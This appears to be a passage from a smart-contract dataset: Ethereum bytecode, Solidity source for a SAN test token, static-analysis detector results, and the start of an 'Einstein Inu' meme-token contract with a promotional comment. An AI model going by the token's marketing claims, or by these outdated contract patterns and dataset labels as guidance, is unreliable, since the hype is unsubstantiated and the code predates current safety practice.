b506101ab600160a060020a036004351660243561118b565b34801561032c57600080fd5b50610254600160a060020a0360043581169060243516611337565b34801561035357600080fd5b50610368600160a060020a0360043516611354565b60408051921515835260208301919091528051918290030190f35b34801561038f57600080fd5b50610398611373565b60408051600160a060020a039092168252519081900360200190f35b3480156103c057600080fd5b5061040e600160a060020a0360043581169060243590604435811690606435906084359060a4359060c43581169060ff60e43516906101043590610124359061014435906101643516611382565b604080519115158252519081900360200190f35b34801561042e57600080fd5b5061040e600160a060020a03600435166113ec565b34801561044f57600080fd5b506101ab600160a060020a0360043516611401565b34801561047057600080fd5b506101ab611460565b34801561048557600080fd5b506103986114e2565b34801561049a57600080fd5b506102546004356114f1565b3480156104b257600080fd5b506101ab600160a060020a0360043516602435611506565b3480156104d657600080fd5b506103986116a1565b3480156104eb57600080fd5b506101ab600160a060020a036004351660243515156044356116b0565b34801561051457600080fd5b50610254600160a060020a036004351661173d565b34801561053557600080fd5b506101ab600160a060020a0360043516602435611758565b34801561055957600080fd5b5061040e600160a060020a036004351660243561178f565b34801561057d57600080fd5b5061040e60048035600160a060020a03169060248035916044359182019101356117af565b3480156105ae57600080fd5b506103986118ab565b3480156105c357600080fd5b50610254600160a060020a03600435166118ba565b3480156105e457600080fd5b506101ab6004356024356044356118cc565b34801561060257600080fd5b506101ab600160a060020a0360043516611915565b34801561062357600080fd5b50610254600160a060020a036004358116906024351661196a565b34801561064a57600080fd5b50610656600435611995565b6040805192835260208301919091528051918290030190f35b34801561067b57600080fd5b506102546004356119ae565b34801561069357600080fd5b506101ab600160a060020a036004351660243515156119c0565b3480156106b957600080fd5b50610254600160a060020a0360043581169060243590604435811690606435906084359060a4359060c4351660ff60e435166101043561012435611a11565b600160a060020a0381166000908152600080516020611f8983398151915260205260409020546107289034611d04565b600160a060020a0382166000818152600080516020611f898339815191526020908152604080832085905580519283529082019290925234818301526060810192909252517fdcbc1c05240f31ff3ad067ef1ee35ce4997762752e3a095284754544f4c709d79181900360800190a150565b6000308c8c8c8c8c8c8c6040516020018089600160a060020a0316600160a060020a03166c0100000000000000000000000002815260140188600160a060020a0316600160a060020a03166c0100000000000000000000000002815260140187815260200186600160a060020a0316600160a060020a03166c0100000000000000000000000002815260140185815260200184815260200183815260200182600160a060020a0316600160a060020a03166c01000000000000000000000000028152601401985050505050505050506040516020818303038152906040526040518082805190602001908083835b602083106108a75780518252601f199092019160209182019101610888565b51815160209384036101000a60001901801990921691161790526040805192909401829003909120600160a060020a038c16600090815260068352848120828252909252929020549194505060ff169150819050610a1c575085600160a060020a031660018260405160200180807f19457468657265756d205369676e6564204d6573736167653a0a333200000000815250601c0182600019166000191681526020019150506040516020818303038152906040526040518082805190602001908083835b6020831061098b5780518252601f19909201916020918201910161096c565b51815160209384036101000a60001901801990921691161790526040805192909401829003822060008084528383018087529190915260ff8e1683860152606083018d9052608083018c9052935160a08084019750919550601f1981019492819003909101925090865af1158015610a07573d6000803e3d6000fd5b50505060206040510351600160a060020a0316145b8015610a285750874211155b8015610a625750600160a060020a03861660009081526007602090815260408083208484529091529020548b90610a5f9084611d04565b11155b1515610a6d57600080fd5b610a7b8c8c8c8c8a87611d1e565b600160a060020a0386166000908152600760209081526040808320848452909152902054610aa99083611d04565b600160a060020a03871660009081526007602090815260408083208584529091529020557f9af54f3727fc9dd2ab4bb1beceebee0465565940fc9121ae2e87892df9b99f1a8c838c8e8d8302811515610afe57fe5b60408051600160a060020a03968716815260208101959095529285168484015204606083015291891660808201523360a082015260c081018490524260e08201529051908190036101000190a1505050505050505050505050565b604080516c01000000000000000000000000308102602080840191909152600160a060020a03808b1683026034850152604884018a9052881682026068840152607c8301879052609c830186905260bc8301859052339190910260dc830152825160d081840301815260f0909201928390528151600093918291908401908083835b60208310610bfa5780518252601f199092019160209182019101610bdb565b51815160001960209485036101000a0190811690199190911617905260408051949092018490038420336000818152600684528481208382528452849020805460ff19166001179055600160a060020a038f811687529286018e9052918c1685840152606085018b9052608085018a905260a0850189905260c085019190915290519095507f3f7f2eda73683c21a15f9435af1028c93185b5f1fa38270762dc32be606b3e8594509182900360e001925050a150505050505050565b600760209081526000928352604080842090915290825290205481565b604080516c01000000000000000000000000308102602080840191909152600160a060020a03808e1683026034850152604884018d90528b1682026068840152607c83018a9052609c830189905260bc8301889052339190910260dc830152825160d081840301815260f0909201928390528151600093918291908401908083835b60208310610d745780518252601f199092019160209182019101610d55565b51815160209384036101000a6000190180199092169116179052604080519290940182900390912033600090815260068352848120828252909252929020549194505060ff169150819050610ed05750604080517f19457468657265756d205369676e6564204d6573736167653a0a333200000000602080830191909152603c80830185905283518084039091018152605c909201928390528151339360019392909182918401908083835b60208310610e3f5780518252601f199092019160209182019101610e20565b51815160209384036101000a60001901801990921691161790526040805192909401829003822060008084528383018087529190915260ff8d1683860152606083018c9052608083018b9052935160a08084019750919550601f1981019492819003909101925090865af1158015610ebb573d6000803e3d6000fd5b50505060206040510351600160a060020a0316145b1515610edb57600080fd5b3360008181526007602090815260408083208584528252918290208c90558151600160a060020a038e811682529181018d9052908b1681830152606081018a90526080810189905260a0810188905260c081019290925260ff861660e0830152610100820185905261012082018490526101408201839052517fc492b04027c671b0548e5bd4639174bf1d425fe5f94566809f148b0fc6cda204918190036101600190a150505050505050505050565b604080516c01000000000000000000000000308102602080840191909152600160a060020a03808c1683026034850152604884018b9052808a1683026068850152607c8401899052609c840188905260bc8401879052851690910260dc830152825160d081840301815260f0909201928390528151600093849392909182918401908083835b602083106110305780518252601f199092019160209182019101611011565b51815160209384036101000a60001901801990921691161790526040805192909401829003909120600160a060020a039890981660009081526007825283812098815297905250909420549a9950505050505050505050565b336000908152600080516020611f8983398151915260205260409020548111156110b257600080fd5b336000908152600080516020611f8983398151915260205260409020546110d99082611f49565b336000818152600080516020611f898339815191526020526040808220939093559151909183156108fc02918491818181858888f19350505050158015611124573d6000803e3d6000fd5b50336000818152600080516020611f898339815191526020908152604080832054815193845291830193909352818301849052606082015290517ff341246adaac6f497bc2a656f546ab9e182111d630394f0c57c710a59a2cb5679181900360800190a150565b600160a060020a0382166000908152600860205260409020548290429060ff1680156111d25750600160a060020a0382166000908152600860205260409020600101548110155b15156111da57fe5b600160a060020a03841615156111ef57600080fd5b604080517f23b872dd000000000000000000000000000000000000000000000000000000008152336004820152306024820152604481018590529051600160a060020a038616916323b872dd9160648083019260209291908290030181600087803b15801561125d57600080fd5b505af1158015611271573d6000803e3d6000fd5b505050506040513d602081101561128757600080fd5b5051151561129457600080fd5b600160a060020a03841660009081526005602090815260408083203384529091529020546112c29084611d04565b600160a060020a03851660008181526005602090815260408083203380855290835292819020859055805193845290830191909152818101869052606082019290925290517fdcbc1c05240f31ff3ad067ef1ee35ce4997762752e3a095284754544f4c709d79181900360800190a150505050565b600560209081526000928352604080842090915290825290205481565b6008602052600090815260409020805460019091015460ff9091169082565b600454600160a060020a031681565b600160a060020a03808d16600090815260056020908152604080832093851683529290529081205483118015906113ca5750826113c78e8e8e8e8e8e8e8e8e8e611a11565b10155b15156113d8575060006113dc565b5060015b9c9b505050505050505050505050565b60036020526000908152604090205460ff1681565b3360009081526003602052604090205460ff16151561141c57fe5b600160a060020a038116151561143157600080fd5b6004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600154600160a060020a03163314156114e05760015460008054604051600160a060020a0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36001546000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039092169190911790555b565b600054600160a060020a031681565b6000908152600a602052604090206001015490565b600160a060020a038216151561151b57600080fd5b600160a060020a038216600090815260056020908152604080832033845290915290205481111561154b57600080fd5b600160a060020a03821660009081526005602090815260408083203384529091529020546115799082611f49565b600160a060020a0383166000818152600560209081526040808320338085529083528184209590955580517fa9059cbb00000000000000000000000000000000000000000000000000000000815260048101959095526024850186905251929363a9059cbb9360448083019491928390030190829087803b1580156115fd57600080fd5b505af1158015611611573d6000803e3d6000fd5b505050506040513d602081101561162757600080fd5b5051151561163457600080fd5b600160a060020a03821660008181526005602090815260408083203380855290835292819020548151948552918401929092528282018490526060830152517ff341246adaac6f497bc2a656f546ab9e182111d630394f0c57c710a59a2cb5679181900360800190a15050565b600254600160a060020a031681565b3360009081526003602052604090205460ff1615156116cb57fe5b600160a060020a038316600081815260086020908152604091829020805486151560ff19909116811782556001909101859055825193845290830152818101839052517fda84b30e6a263a1d189ff742a0df74db779efa3d91ce89e02bf9b9eab1402aa99181900360600190a1505050565b600160a060020a031660009081526009602052604090205490565b3360009081526003602052604090205460ff16151561177357fe5b600160a060020a03909116600090815260096020526040902055565b600660209081526000928352604080842090915290825290205460ff1681565b33600081815260086020526040812054909190429060ff1680156117ee5750600160a060020a0382166000908152600860205260409020600101548110155b15156117f657fe5b831561180157600080fd5b336000908152600560209081526040808320600160a060020a038b16845290915290205461182f9087611d04565b336000818152600560209081526040808320600160a060020a038d1680855290835292819020859055805193845290830191909152818101899052606082019290925290517fdcbc1c05240f31ff3ad067ef1ee35ce4997762752e3a095284754544f4c709d79181900360800190a15060019695505050505050565b600154600160a060020a031681565b60096020526000908152604090205481565b3360009081526003602052604090205460ff1615156118e757fe5b60408051808201825292835260208084019283526000948552600a9052909220905181559051600190910155565b600054600160a060020a0316331461192957fe5b600160a060020a038116151561193b57fe5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a03918216600090815260056020908152604080832093909416825291909152205490565b600a602052600090815260409020805460019091015482565b6000908152600a602052604090205490565b600054600160a060020a031633146119d457fe5b600160a060020a03821615156119e657fe5b600160a060020a03919091166000908152600360205260409020805460ff1916911515919091179055565b604080516c01000000000000000000000000308102602080840191909152600160a060020a03808f1683026034850152604884018e9052808d1683026068850152607c84018c9052609c84018b905260bc84018a9052881690910260dc830152825160d081840301815260f090920192839052815160009384938493849391929182918401908083835b60208310611aba5780518252601f199092019160209182019101611a9b565b51815160209384036101000a60001901801990921691161790526040805192909401829003909120600160a060020a038e16600090815260068352848120828252909252929020549196505060ff169150819050611c54575087600160a060020a031660018460405160200180807f19457468657265756d205369676e6564204d6573736167653a0a333200000000815250601c0182600019166000191681526020019150506040516020818303038152906040526040518082805190602001908083835b60208310611b9e5780518252601f199092019160209182019101611b7f565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020898989604051600081526020016040526040518085600019166000191681526020018460ff1660ff1681526020018360001916600019168152602001826000191660001916815260200194505050505060206040516020810390808403906000865af1158015611c3f573d6000803e3d6000fd5b50505060206040510351600160a060020a0316145b8015611c605750894211155b1515611c6f5760009350611cf3565b600160a060020a0388166000908152600760209081526040808320868452909152902054611c9e908e90611f49565b600160a060020a03808e166000908152600560209081526040808320938d16835292905220549092508b90611cd3908f611f5d565b811515611cdc57fe5b04905080821015611cef57819350611cf3565b8093505b5050509a9950505050505050505050565b600082820183811015611d1357fe5b8091505b5092915050565b600160a060020a0382166000908152600960209081526040808320548352600a9091528120548190670de0b6b3a764000090611d5b908590611f5d565b811515611d6457fe5b336000908152600960209081526040808320548352600a9091529020600101549190049250670de0b6b3a764000090611d9e908590611f5d565b811515611da757fe5b600160a060020a038a1660009081526005602090815260408083203384529091529020549190049150611de390611dde8584611d04565b611f49565b600160a060020a0389811660009081526005602090815260408083203384529091528082209390935590861681522054611e2690611e218585611f49565b611d04565b600160a060020a03898116600090815260056020908152604080832089851684529091528082209390935560045490911681522054611e6990611e218484611d04565b600160a060020a03808a166000908152600560208181526040808420600454861685528252808420959095558a841683529081528382209288168252919091522054611ec99088611eba8887611f5d565b811515611ec357fe5b04611f49565b600160a060020a038781166000908152600560209081526040808320938916835292905281812092909255338252902054611f189088611f098887611f5d565b811515611f1257fe5b04611d04565b600160a060020a03909616600090815260056020908152604080832033845290915290209590955550505050505050565b60008083831115611f5657fe5b5050900390565b600080831515611f705760009150611d17565b50828202828482811515611f8057fe5b0414611d1357fe0005b8ccbb9d4d8fb16ea74ce3c29a41f1b461fbdaff4714a0d9a8eb05499746bca165627a7a723058208f2c76b44b195ee0ebf2515af8b912b24f5c81b90605de6bf4c99b64a74373580029
{"success": true, "error": null, "results": {}}
10,724
0x39415a1d39ff4fbe483b27e7ee3ec486cf7f7e76
pragma solidity ^0.4.11; contract Base { function max(uint a, uint b) returns (uint) { return a >= b ? a : b; } function min(uint a, uint b) returns (uint) { return a <= b ? a : b; } modifier only(address allowed) { if (msg.sender != allowed) throw; _; } ///@return True if `_addr` is a contract function isContract(address _addr) constant internal returns (bool) { if (_addr == 0) return false; uint size; assembly { size := extcodesize(_addr) } return (size > 0); } // ************************************************* // * reentrancy handling * // ************************************************* //@dev predefined locks (up to uint bit length, i.e. 256 possible) uint constant internal L00 = 2 ** 0; uint constant internal L01 = 2 ** 1; uint constant internal L02 = 2 ** 2; uint constant internal L03 = 2 ** 3; uint constant internal L04 = 2 ** 4; uint constant internal L05 = 2 ** 5; //prevents reentrancy attacs: specific locks uint private bitlocks = 0; modifier noReentrancy(uint m) { var _locks = bitlocks; if (_locks & m > 0) throw; bitlocks |= m; _; bitlocks = _locks; } modifier noAnyReentrancy { var _locks = bitlocks; if (_locks > 0) throw; bitlocks = uint(-1); _; bitlocks = _locks; } ///@dev empty marking modifier signaling to user of the marked function , that it can cause an reentrant call. /// developer should make the caller function reentrant-safe if it use a reentrant function. modifier reentrant { _; } } contract Owned is Base { address public owner; address public newOwner; function Owned() { owner = msg.sender; } function transferOwnership(address _newOwner) only(owner) { newOwner = _newOwner; } function acceptOwnership() only(newOwner) { OwnershipTransferred(owner, newOwner); owner = newOwner; } event OwnershipTransferred(address indexed _from, address indexed _to); } contract ERC20 is Owned { event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); function transfer(address _to, uint256 _value) isStartedOnly returns (bool success) { if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) isStartedOnly returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) isStartedOnly returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; bool public isStarted = false; modifier onlyHolder(address holder) { if (balanceOf(holder) == 0) throw; _; } modifier isStartedOnly() { if (!isStarted) throw; _; } } contract SubscriptionModule { function attachToken(address addr) public ; } contract SAN is Owned, ERC20 { string public constant name = "SANtiment TEST token"; string public constant symbol = "SAN.TEST.MAX.2"; uint8 public constant decimals = 15; address CROWDSALE_MINTER = 0x2eCae89ebd1DdE40E39D04f515E1f8E64AB939bd; address public SUBSCRIPTION_MODULE = 0x00000000; address public beneficiary; uint public PLATFORM_FEE_PER_10000 = 1; //0.01% uint public totalOnDeposit; uint public totalInCirculation; ///@dev constructor function SAN() { beneficiary = owner = msg.sender; } // ------------------------------------------------------------------------ // Don&#39;t accept ethers // ------------------------------------------------------------------------ function () { throw; } //======== SECTION Configuration: Owner only ======== // ///@notice set beneficiary - the account receiving platform fees. function setBeneficiary(address newBeneficiary) external only(owner) { beneficiary = newBeneficiary; } ///@notice attach module managing subscriptions. if subModule==0x0, then disables subscription functionality for this token. /// detached module can usually manage subscriptions, but all operations changing token balances are disabled. function attachSubscriptionModule(SubscriptionModule subModule) noAnyReentrancy external only(owner) { SUBSCRIPTION_MODULE = subModule; if (address(subModule) > 0) subModule.attachToken(this); } ///@notice set platform fee denominated in 1/10000 of SAN token. Thus "1" means 0.01% of SAN token. function setPlatformFeePer10000(uint newFee) external only(owner) { require (newFee <= 10000); //formally maximum fee is 100% (completely insane but technically possible) PLATFORM_FEE_PER_10000 = newFee; } //======== Interface XRateProvider: a trivial exchange rate provider. Rate is 1:1 and SAN symbol as the code // ///@dev used as a default XRateProvider (id==0) by subscription module. ///@notice returns always 1 because exchange rate of the token to itself is always 1. function getRate() returns(uint32 ,uint32) { return (1,1); } function getCode() public returns(string) { return symbol; } //==== Interface ERC20ModuleSupport: Subscription, Deposit and Payment Support ===== /// ///@dev used by subscription module to operate on token balances. ///@param msg_sender should be an original msg.sender provided to subscription module. function _fulfillPreapprovedPayment(address _from, address _to, uint _value, address msg_sender) public onlyTrusted returns(bool success) { success = _from != msg_sender && allowed[_from][msg_sender] >= _value; if (!success) { Payment(_from, _to, _value, _fee(_value), msg_sender, PaymentStatus.APPROVAL_ERROR, 0); } else { success = _fulfillPayment(_from, _to, _value, 0, msg_sender); if (success) { allowed[_from][msg_sender] -= _value; } } return success; } ///@dev used by subscription module to operate on token balances. ///@param msg_sender should be an original msg.sender provided to subscription module. function _fulfillPayment(address _from, address _to, uint _value, uint subId, address msg_sender) public onlyTrusted returns (bool success) { var fee = _fee(_value); assert (fee <= _value); //internal sanity check if (balances[_from] >= _value && balances[_to] + _value > balances[_to]) { balances[_from] -= _value; balances[_to] += _value - fee; balances[beneficiary] += fee; Payment(_from, _to, _value, fee, msg_sender, PaymentStatus.OK, subId); return true; } else { Payment(_from, _to, _value, fee, msg_sender, PaymentStatus.BALANCE_ERROR, subId); return false; } } function _fee(uint _value) internal constant returns (uint fee) { return _value * PLATFORM_FEE_PER_10000 / 10000; } ///@notice used by subscription module to re-create token from returning deposit. ///@dev a subscription module is responsible to correct deposit management. function _mintFromDeposit(address owner, uint amount) public onlyTrusted { balances[owner] += amount; totalOnDeposit -= amount; totalInCirculation += amount; } ///@notice used by subscription module to burn token while creating a new deposit. ///@dev a subscription module is responsible to create and maintain the deposit record. function _burnForDeposit(address owner, uint amount) public onlyTrusted returns (bool success) { if (balances[owner] >= amount) { balances[owner] -= amount; totalOnDeposit += amount; totalInCirculation -= amount; return true; } else { return false; } } //========= Crowdsale Only =============== ///@notice mint new token for given account in crowdsale stage ///@dev allowed only if token not started yet and only for registered minter. ///@dev tokens are become in circulation after token start. function mint(uint amount, address account) onlyCrowdsaleMinter isNotStartedOnly { totalSupply += amount; balances[account]+=amount; } ///@notice start normal operation of the token. No minting is possible after this point. function start() isNotStartedOnly only(owner) { totalInCirculation = totalSupply; isStarted = true; } //========= SECTION: Modifier =============== modifier onlyCrowdsaleMinter() { if (msg.sender != CROWDSALE_MINTER) throw; _; } modifier onlyTrusted() { if (msg.sender != SUBSCRIPTION_MODULE) throw; _; } ///@dev token not started means minting is possible, but usual token operations are not. modifier isNotStartedOnly() { if (isStarted) throw; _; } enum PaymentStatus {OK, BALANCE_ERROR, APPROVAL_ERROR} ///@notice event issued on any fee based payment (made of failed). ///@param subId - related subscription Id if any, or zero otherwise. event Payment(address _from, address _to, uint _value, uint _fee, address caller, PaymentStatus status, uint subId); }//contract SAN
0x606060405236156101935763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146101a9578063095ea7b31461023957806318160ddd1461026c5780631c31f7101461028e57806323b872dd146102ac5780632981cceb146102e55780632c7ec2c214610306578063313ce5671461034a57806335b55d981461037057806338af3eed1461039c578063544736e6146103c857806359ba1dd5146103ec5780635cb0c16f1461042c578063679aefce1461044e5780636d5433e6146104815780636dd43d1f146104a957806370a08231146104c757806379ba5097146104f55780637ae2b5c7146105075780638da5cb5b1461052f57806394bf804d1461055b57806395d89b411461057c5780639bd334571461060c578063a9059cbb1461062e578063abf0661f14610661578063be9a655514610694578063d4ee1d90146106a6578063dd62ed3e146106d2578063e3d0799c14610706578063ea87963414610728578063f2fde38b146107b8578063f9cc2e66146107d6575b341561019b57fe5b6101a75b60006000fd5b565b005b34156101b157fe5b6101b96107eb565b6040805160208082528351818301528351919283929083019185019080838382156101ff575b8051825260208311156101ff57601f1990920191602091820191016101df565b505050905090810190601f16801561022b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561024157fe5b610258600160a060020a0360043516602435610822565b604080519115158252519081900360200190f35b341561027457fe5b61027c61089f565b60408051918252519081900360200190f35b341561029657fe5b6101a7600160a060020a03600435166108a5565b005b34156102b457fe5b610258600160a060020a03600435811690602435166044356108f0565b604080519115158252519081900360200190f35b34156102ed57fe5b6101a7600160a060020a0360043516602435610a15565b005b341561030e57fe5b610258600160a060020a03600435811690602435811690604435906064359060843516610a66565b604080519115158252519081900360200190f35b341561035257fe5b61035a610c60565b6040805160ff9092168252519081900360200190f35b341561037857fe5b610380610c65565b60408051600160a060020a039092168252519081900360200190f35b34156103a457fe5b610380610c74565b60408051600160a060020a039092168252519081900360200190f35b34156103d057fe5b610258610c83565b604080519115158252519081900360200190f35b34156103f457fe5b610258600160a060020a036004358116906024358116906044359060643516610c8c565b604080519115158252519081900360200190f35b341561043457fe5b61027c610dd7565b60408051918252519081900360200190f35b341561045657fe5b61045e610ddd565b6040805163ffffffff938416815291909216602082015281519081900390910190f35b341561048957fe5b61027c600435602435610de5565b60408051918252519081900360200190f35b34156104b157fe5b6101a7600160a060020a0360043516610e00565b005b34156104cf57fe5b61027c600160a060020a0360043516610ef8565b60408051918252519081900360200190f35b34156104fd57fe5b6101a7610f17565b005b341561050f57fe5b61027c600435602435610fa7565b60408051918252519081900360200190f35b341561053757fe5b610380610fc2565b60408051600160a060020a039092168252519081900360200190f35b341561056357fe5b6101a7600435600160a060020a0360243516610fd1565b005b341561058457fe5b6101b9611030565b6040805160208082528351818301528351919283929083019185019080838382156101ff575b8051825260208311156101ff57601f1990920191602091820191016101df565b505050905090810190601f16801561022b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561061457fe5b61027c611067565b60408051918252519081900360200190f35b341561063657fe5b610258600160a060020a036004351660243561106d565b604080519115158252519081900360200190f35b341561066957fe5b610258600160a060020a0360043516602435611148565b604080519115158252519081900360200190f35b341561069c57fe5b6101a76111cf565b005b34156106ae57fe5b610380611216565b60408051600160a060020a039092168252519081900360200190f35b34156106da57fe5b61027c600160a060020a0360043581169060243516611225565b60408051918252519081900360200190f35b341561070e57fe5b61027c611252565b60408051918252519081900360200190f35b341561073057fe5b6101b9611258565b6040805160208082528351818301528351919283929083019185019080838382156101ff575b8051825260208311156101ff57601f1990920191602091820191016101df565b505050905090810190601f16801561022b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156107c057fe5b6101a7600160a060020a0360043516611299565b005b34156107de57fe5b6101a76004356112e4565b005b60408051808201909152601481527f53414e74696d656e74205445535420746f6b656e000000000000000000000000602082015281565b60065460009060ff1615156108375760006000fd5b600160a060020a03338116600081815260046020908152604080832094881680845294825291829020869055815186815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a35060015b5b92915050565b60055481565b600154600160a060020a0390811690331681146108c25760006000fd5b6008805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0384161790555b5b5050565b60065460009060ff1615156109055760006000fd5b600160a060020a0384166000908152600360205260409020548290108015906109555750600160a060020a0380851660009081526004602090815260408083203390941683529290522054829010155b801561097a5750600160a060020a038316600090815260036020526040902054828101115b15610a0857600160a060020a03808416600081815260036020908152604080832080548801905588851680845281842080548990039055600483528184203390961684529482529182902080548790039055815186815291519293927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a3506001610a0c565b5060005b5b5b9392505050565b60075433600160a060020a03908116911614610a315760006000fd5b600160a060020a0382166000908152600360205260409020805482019055600a80548290039055600b8054820190555b5b5050565b600754600090819033600160a060020a03908116911614610a875760006000fd5b610a908561131c565b905084811115610a9c57fe5b600160a060020a038716600090815260036020526040902054859010801590610ade5750600160a060020a038616600090815260036020526040902054858101115b15610ba357600160a060020a03808816600081815260036020908152604080832080548b900390558a85168084528184208054888d030190556008548616845281842080548801905581519485529184019190915282018890526060820184905291851660808201527f83725a910247ba73f0cbe5d1f944bdf6e0456c94ccb822dbdd206f4bed6b045e91899189918991869189918b9060a08101835b60ff16815260200182815260200197505050505050505060405180910390a160019150610c54565b7f83725a910247ba73f0cbe5d1f944bdf6e0456c94ccb822dbdd206f4bed6b045e878787848760018a6040518088600160a060020a0316600160a060020a0316815260200187600160a060020a0316600160a060020a0316815260200186815260200185815260200184600160a060020a0316600160a060020a03168152602001836002811115610c3057fe5b60ff16815260200182815260200197505050505050505060405180910390a1600091505b5b5b5095945050505050565b600f81565b600754600160a060020a031681565b600854600160a060020a031681565b60065460ff1681565b60075460009033600160a060020a03908116911614610cab5760006000fd5b81600160a060020a031685600160a060020a031614158015610cf35750600160a060020a03808616600090815260046020908152604080832093861683529290522054839010155b9050801515610d89577f83725a910247ba73f0cbe5d1f944bdf6e0456c94ccb822dbdd206f4bed6b045e858585610d298761131c565b60408051600160a060020a0380871682528581166020830152918101849052606081018390529088166080820152879060029060009060a08101835b60ff16815260200182815260200197505050505050505060405180910390a1610dcc565b610d97858585600086610a66565b90508015610dcc57600160a060020a038086166000908152600460209081526040808320938616835292905220805484900390555b5b5b5b949350505050565b600b5481565b6001805b9091565b600081831015610df55781610df7565b825b90505b92915050565b6000805490811115610e125760006000fd5b600019600055600154600160a060020a039081169033168114610e355760006000fd5b6007805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0385169081179091556000901115610eeb5782600160a060020a031663406a6f60306040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082600160a060020a0316600160a060020a03168152602001915050600060405180830381600087803b1515610ed957fe5b6102c65a03f11515610ee757fe5b5050505b5b5b5060008190555b5050565b600160a060020a0381166000908152600360205260409020545b919050565b600254600160a060020a039081169033168114610f345760006000fd5b600254600154604051600160a060020a0392831692909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36002546001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039092169190911790555b5b50565b600081831115610df55781610df7565b825b90505b92915050565b600154600160a060020a031681565b60065433600160a060020a039081166101009092041614610ff25760006000fd5b60065460ff16156110035760006000fd5b6005805483019055600160a060020a03811660009081526003602052604090208054830190555b5b5b5050565b60408051808201909152600e81527f53414e2e544553542e4d41582e32000000000000000000000000000000000000602082015281565b600a5481565b60065460009060ff1615156110825760006000fd5b600160a060020a0333166000908152600360205260409020548290108015906110c45750600160a060020a038316600090815260036020526040902054828101115b1561113857600160a060020a03338116600081815260036020908152604080832080548890039055938716808352918490208054870190558351868152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a3506001610898565b506000610898565b5b5b92915050565b60075460009033600160a060020a039081169116146111675760006000fd5b600160a060020a0383166000908152600360205260409020548290106111385750600160a060020a038216600090815260036020526040902080548290039055600a805482019055600b805482900390556001610898565b506000610898565b5b5b92915050565b60065460ff16156111e05760006000fd5b600154600160a060020a0390811690331681146111fd5760006000fd5b600554600b556006805460ff191660011790555b5b505b565b600254600160a060020a031681565b600160a060020a038083166000908152600460209081526040808320938516835292905220545b92915050565b60095481565b611260611332565b5060408051808201909152600e81527f53414e2e544553542e4d41582e3200000000000000000000000000000000000060208201525b90565b600154600160a060020a0390811690331681146112b65760006000fd5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0384161790555b5b5050565b600154600160a060020a0390811690331681146113015760006000fd5b6127108211156113115760006000fd5b60098290555b5b5050565b6009546000906127109083025b0490505b919050565b604080516020810190915260008152905600a165627a7a72305820e1de9eabb8bd2932ae7a67988a0eaeb172e9088dad1dac771a0f0f43bc0ccdc80029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}]}}
10,725
0xc39d3fbc9f2f87bc061f1b1578d9d19fef290900
/* EINSTEIN INU - $EINSTEIN Einstein Inu is a connection between crypto and science , we are exposing scientific causes to a world of untapped capital. In our view, there are fundamentally two different types of token: the ones that deal with fiat currency; and the ones that deal purely in crypto. It is the latter one that we will focus on. Even though they are small now, we strongly believe that pure Einstein Inu will build a world-class crypto token, powering the future of crypto finance. TOKEN FEATURES : - Investment launchpad - Deflationary Tokenomics - University Funding ( Building of scientific Lab and Artificial intelligence system) - NFT Market Place ▫️6% Buy tax ▫️10% Sell tax ▫️100,000,000,000 Total supply ▫️Max tx 1,500,000,000 ▫️Max wallet 3,000,000,000 Callers lined up - prelaunch and right after launch. Launch date - Saturday 04/02 🚀 Website: Einsteininu.com Telegram: t.me/einsteinofficial Medium: https://medium.com/@einsteininu1 */ pragma solidity ^0.6.12; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, 